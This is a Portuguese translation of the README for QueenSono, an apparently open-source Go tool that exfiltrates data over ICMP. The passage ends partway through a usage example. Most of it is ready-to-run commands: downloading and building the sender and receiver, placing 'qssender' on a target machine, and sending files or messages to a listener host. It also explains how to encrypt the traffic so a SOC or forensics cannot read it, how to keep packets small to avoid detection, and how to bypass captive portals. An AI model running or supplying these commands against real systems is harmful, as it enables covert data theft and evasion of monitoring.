ariary/queensonoBinário Golang para exfiltração de dados com protocolo ICMP (+ bindshell ICMP, tunelamento HTTP sobre ICMP, ...)
A ferramenta QueenSono baseia-se apenas no fato de que o protocolo ICMP não é monitorado. É bastante comum. Também poderia ser usado em um sistema com inspeção básica de ICMP (isto é, monitor de frequência e comprimento de conteúdo) ou para contornar a etapa de autenticação com captive portal (usado por muitos Wi‑Fis públicos para autenticar usuários após conectar ao Wi‑Fi, por exemplo, Wi‑Fi de aeroportos). Tenta imitar PyExfil (e outros) com a ideia de que a máquina alvo não necessariamente tenha Python instalado (portanto, fornecer um binário pode ser útil).
Instale-o
·
Use-o
·
Notas
·
Solicitar Funcionalidade
·
🎁
curl> A partir do release
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender
go> Via go install
Certifique-se de que $GOPATH está no seu $PATH antes
Instalar qssender
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary
Instalar qsreceiver
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary
> Instalar o binário a partir do código fonte
Clone o repositório e baixe as dependências localmente:
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build
Para construir o emissor de pacotes ICMP qssender :
build.queensono-sender
Para construir o receptor de pacotes ICMP qsreceiver :
build.queensono-receiver
qssender é o binário que enviará pacotes ICMP para o ouvinte, portanto é o binário que você precisa transferir para a máquina alvo.
qsreceiver é o ouvinte na sua máquina local (ou onde quer que você possa receber pacotes ICMP)
Todos os comandos e flags dos binários podem ser encontrados usando --help
> Neste exemplo, queremos enviar um arquivo grande e aguardar o echo reply para confirmar o recebimento dos pacotes (ACK).
Na máquina local:
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
-l 0.0.0.0 escuta em todas as interfaces para pacotes ICMP
-f received_bible.txt salva os dados recebidos em um arquivo
-p mostra uma barra de progresso dos dados recebidos Na máquina alvo:
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #baixar um arquivo grande (para o exemplo)
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
send file para enviar arquivo (bible.txt é o arquivo em questão)
-d 2 envia um pacote a cada 2 segundos
-l 0.0.0.0 o endereço de escuta para echo reply -r 10.0.0.92 o endereço da minha máquina remota com qsreceiver ouvindo-s 50000 o tamanho dos dados que quero enviar em cada pacote> Neste exemplo, queremos enviar uma mensagem sem aguardar o echo reply (pode ser útil caso o firewall alvo filtre pacotes ICMP de entrada)
Na máquina local:
$ qsreceiver receive truncated 1 -l 0.0.0.0
receive truncated 1 não espera indefinidamente se não recebermos todos os pacotes. (1 é o atraso usado com qssender)echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_allNa máquina alvo:
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
-N opção noreply (não aguardar echo reply)
> Neste exemplo, queremos enviar uma mensagem criptografada. Como a linha de comando pode ser espionada, usamos criptografia assimétrica (se a chave vazar, não é um problema)
Na máquina local:
$ qsreceiver receive -l 0.0.0.0 --encrypt
<OUTPUT PUBLIC KEY>
--encrypt usa troca de criptografia. Irá gerar chave pública/privada. A chave pública será usada por qssender para criptografar dados, a privada é usada para descriptografar com receiver
Na máquina alvo:
$ export MSG="<your message>"
$ export KEY="<public_key_from_qsreceiver_output>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
--key fornece a chave para criptografia de dados. Use a fornecida pelo comando qsreceiver
A criptografia RSA é usada para manter a confidencialidade dos dados trocados. Pode ser útil, por exemplo, para evitar que um SoC veja quais dados estão sendo trocados (ou forense) com análise básica ou simplesmente por privacidade.
Mas isso tem um custo. A escolha da criptografia assimétrica é motivada pelo fato de que a chave de criptografia é inserida na linha de comando (portanto, pode ser recuperada facilmente). Portanto, criptografamos dados com a chave pública. Dessa forma, se alguém recuperar a chave de criptografia, não será possível descriptografar a mensagem. Mas a chave pública é menor que a privada, então ela criptografa mensagens menores. Além disso, é computacionalmente cara.
Outro ponto, como queremos limitar o tamanho dos dados/solicitações de ping (para evitar detecção, bugs, etc), use criptografia apenas se necessário, pois o tamanho da saída da mensagem sempre será (deverá) igual ao tamanho do Módulo (parte da chave), que é grande.
Atualmente, toda a mensagem é criptografada e depois dividida em partes para ser enviada. Do outro lado, aguardamos todos os pacotes (partes), reconstruímos nossa mensagem e a descriptografamos. Mas funciona ⇔ recebemos TODAS as partes, caso contrário a descriptografia falhará.
=> Poderíamos criptografar cada parte de acordo com o parâmetro -s, assim poderíamos descriptografá-las separadamente.
> Neste exemplo, a máquina local envia dados de volta para o alvo através de respostas de echo ICMP. Útil quando o ICMP de saída do alvo é filtrado, mas o alvo pode receber respostas de echo.
Na máquina local: